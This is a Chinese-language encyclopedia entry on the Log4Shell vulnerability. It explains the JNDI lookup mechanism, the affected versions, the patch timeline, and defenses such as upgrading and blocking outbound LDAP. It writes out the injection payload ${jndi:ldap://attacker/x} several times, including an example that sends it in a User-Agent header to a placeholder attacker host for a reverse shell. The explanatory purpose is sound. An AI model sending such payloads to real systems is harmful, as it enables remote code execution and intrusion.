Log4Shell (CVE-2021-44228)
Log4Shell (CVE-2021-44228) 是什么?
Log4Shell (CVE-2021-44228)2021 年 12 月披露的 Apache Log4j 2 严重远程代码执行漏洞,攻击者只需让一段 JNDI 查询字符串被记入日志即可执行任意代码。
Log4Shell 是 Apache Log4j 2(2.0-beta9 至 2.14.1)中一个 CVSS 10.0 的漏洞,由阿里云的陈兆军(Chen Zhaojun)报告给 Apache,并于 2021 年 12 月 9 日公开披露。Log4j 的消息查找(message-lookup)功能会对日志字符串中的 ${...} 表达式求值;一个 ${jndi:ldap://attacker/x} 值会让 JVM 执行一次 JNDI 查找,拉取一个远程 Java 类并将其反序列化——从而实现远程代码执行。由于 Log4j 被捆绑在数不胜数的 Java 应用与设备中,任何能进入日志的、由攻击者控制的值(User-Agent、搜索框、文件名,甚至 iPhone 的设备名)都成了触发点。
打补丁是一场分阶段的混乱奔忙:2.15.0 禁用了查找但并不彻底(CVE-2021-45046),2.16.0 移除了消息查找,2.17.0 修复了一个 DoS(CVE-2021-45105),2.17.1 则处理了 CVE-2021-44832——这是面向 Java 8 推荐的修复版本。大规模利用在数小时内便已开始;CISA 将其加入 KEV 目录,勒索软件团伙以及入侵美国网络的伊朗国家级行为体都曾滥用该漏洞。防御措施:升级至 2.17.1+(老版本 Java 可用 2.12.4 / 2.3.2),设置 log4j2.formatMsgNoLookups=true,移除 JndiLookup 类,封堵出站 LDAP/RMI 流量,并借助 SBOM 定位每一份内嵌副本。
flowchart TD
A[攻击者] -->|"输入:${jndi:ldap://evil/x}"| B[Java 应用记录该字符串]
B --> C[Log4j 对查找求值]
C --> D[向攻击者 LDAP 服务器发起 JNDI 查询]
D --> E[服务器返回恶意 Java 类 URL]
E --> F[JVM 下载 & 反序列化该类]
F --> G[远程代码执行]● 示例
- 01
向 Java Web 应用发送 User-Agent: ${jndi:ldap://attacker.com/x},获得反向 Shell。
- 02
在用户名字段中输入恶意值,通过日志触发对内部 Java 服务的利用。
● 常见问题
Log4Shell (CVE-2021-44228) 是什么?
2021 年 12 月披露的 Apache Log4j 2 严重远程代码执行漏洞,攻击者只需让一段 JNDI 查询字符串被记入日志即可执行任意代码。 它属于网络安全的 漏洞 分类。
Log4Shell (CVE-2021-44228) 是什么意思?
2021 年 12 月披露的 Apache Log4j 2 严重远程代码执行漏洞,攻击者只需让一段 JNDI 查询字符串被记入日志即可执行任意代码。
如何防御 Log4Shell (CVE-2021-44228)?
针对 Log4Shell (CVE-2021-44228) 的防御通常结合技术控制与运营实践,详见上方完整定义。
Log4Shell (CVE-2021-44228) 还有哪些其他名称?
常见的别称包括: CVE-2021-44228, Log4j 漏洞。